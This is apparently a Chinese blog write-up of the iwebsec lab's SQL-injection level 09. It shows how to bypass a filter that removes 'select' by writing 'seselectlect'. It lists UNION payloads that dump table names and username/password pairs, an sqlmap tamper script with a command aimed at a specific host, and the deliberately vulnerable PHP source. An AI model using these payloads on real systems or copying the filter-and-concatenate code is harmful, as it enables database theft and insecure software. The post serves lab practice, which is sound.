iwebsec-sql注入 09 双写关键字绕过
1.iwebsec-sql注入 01 数字型注入2.iwebsec-sql注入 02 字符型注入3.iwebsec-sql注入 03 bool型注入4.iwebsec-sql注入 04 时间延迟型注入5.iwebsec-sql注入 05 报错型注入6.iwebsec-sql注入 06 宽字节字符型注入7.iwebsec-sql注入 07 空格过滤8.iwebsec-sql注入 08 大小写过滤注入
9.iwebsec-sql注入 09 双写关键字绕过
10.iwebsec-sql注入 10 双重url编码绕过11.iwebsec-sql注入 11 十六进制编码绕过12.iwebsec-sql注入 12 等价函数替换过滤13.iwebsec-sql注入 13 二次注入14.iwebsec-文件上传 01 前端JS过滤绕过15.iwebsec-文件上传 02 文件名过滤绕过16.iwebsec-文件上传 03 Content-Type过滤绕过17.iwebsec-文件上传 04 文件头过滤绕过18.iwebsec-文件上传 05 .htaccess19.iwebsec-文件上传 06 文件截断上传20.iwebsec-文件上传 07 条件竞争21.iwebsec-文件包含 01 本地文件包含22.iwebsec-文件包含 02 本地文件包含绕过23.iwebsec-文件包含 03 session本地文件包含24.iwebsec-文件包含 04 文件头过滤绕过25.iwebsec-文件包含 05 远程文件包含绕过26.iwebsec-文件包含 06 php://filter伪协议27.iwebsec-文件包含 07 php://input伪协议28.iwebsec-文件包含 08 php://input伪协议利用29.iwebsec-文件包含 09 file://伪协议利用30.iwebsec-文件包含 10 data://伪协议利用31.iwebsec-xss 01 反射型xss32.iwebsec-xss 02 存储型xss33.iwebsec-xss 03 DOM型xss34.iwebsec-xss 04 xss修复示例01、题目分析
大小写过滤顾名思义,会对正常小写的sql语句进行过滤,这个时候只需要大写sql注入语句即可
02、手工注入
关键词绕过顾名思义,就是将一些sql注入中会用到的一些关键词进行过滤,本关是将select过滤了,那就双写写成seselectlect
?id=1 order by 3 -- id=-1就是不显示内容 ?id=-1 union seselectlect 1,2,3 ?id=-1 union seselectlect 1,2,database() ?id=-1 union seselectlect 1,2,group_concat(table_name) from information_schema.tables where table_schema='iwebsec' ?id=-1 union seselectlect 1,2,group_concat(column_name) from information_schema.columns where table_name='sqli' ?id=-1 union seselectlect 1,2,group_concat(concat_ws('~',username,password)) from iwebsec.sqli
02、工具注入
因为sqlmap中并没有双写绕过的脚本,因此借用shadowwolf大神的脚本
#!/usr/bin/env python ''' sqlmap 双写绕过 by:shadowwolf ''' from lib.core.compat import xrange from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): payload= payload.replace('select' , 'selselectect') retVal=payload return retVal
把这个文件拷贝到sqlmap的tamper目录下重名名为doublewords.py
python .\sqlmap.py -u "http://www.bdrwmy.cn:8001/sqli/09.php?id=1" --current-db --dump --batch --tamper=doublewords
03、代码分析
<?php if(isset($_GET['id'])){ // 检查是否存在名为'id'的GET参数 $id=preg_replace('/select/i','', $_GET["id"]); // 从'id'参数中移除所有的"select"关键字,将结果存储在变量$id中 $sql="SELECT * FROM user WHERE id=$id LIMIT 0,1"; // 构建SQL查询语句,根据$id查询'user'表中的数据,限制返回一条记录 $result=mysql_query($sql); // 执行SQL查询 }else{ exit(); // 如果不存在'id'参数,则立即终止脚本的执行 } if ($result) { // 如果查询成功 ?> <table class='table table-striped'> <!-- 输出一个表格元素的开始标签,使用Bootstrap的样式类 --> <tr><th>id</th><th>name</th><th>age</th></tr> <!-- 表格的表头 --> <?php while ($row = mysql_fetch_assoc($result)) { // 循环使用mysql_fetch_assoc()函数从结果集中获取一行数据,存储在关联数组$row中 echo "<tr>"; // 输出表格行的开始标签 echo "<td>".$row['id']."</td>"; // 输出id列的数据 echo "<td>".$row['username']."</td>"; // 输出username列的数据 echo "<td>".$row['password']."</td>"; // 输出password列的数据 echo "</tr>"; // 输出表格行的结束标签 } echo "</table>"; // 输出表格元素的结束标签 } else { // echo '<font color= "#FFFFFF">'; // 输出一个带有颜色的字体标签,颜色为白色 print_r(mysql_error()); // 输出MySQL数据库的错误信息 // echo "</font>"; // 输出字体标签的结束标签 } require_once '../footer.php'; // 引入'footer.php'文件 ?>
分类:
标签:
,
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步